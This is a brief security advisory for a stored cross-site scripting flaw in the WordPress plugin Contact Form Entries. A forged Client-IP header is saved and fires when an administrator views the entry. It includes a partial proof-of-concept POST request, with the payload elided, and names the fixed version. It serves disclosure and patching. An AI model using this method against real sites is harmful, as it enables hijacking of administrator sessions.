When the user uploads a new form, CRM Form Entries checks for the client IP in order to save information about the user: =============================================================================================================== public function get_ip(), wp-content/plugins/contact-form-entries/contact-form-entries.php, line 1388 ============================================================================================================== The user can set an arbitrary "HTTP_CLIENT_IP" value, and the value is stored inside the database. # Proof Of Concept: Suppose that you have a Contact Form, intercept the POST request and insert the following Client-IP header =============================================================================================================== POST /index.php?rest_route=/contact-form-7/v1/contact-forms/10/feedback HTTP/1.1 Host: dsp.com:11080 Content-Length: 1411 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 ...

When the administrator clicks on the entry element in the plugin, the XSS is triggered. # Solution: Upgrade Contact Form Entries to version 1.1.7
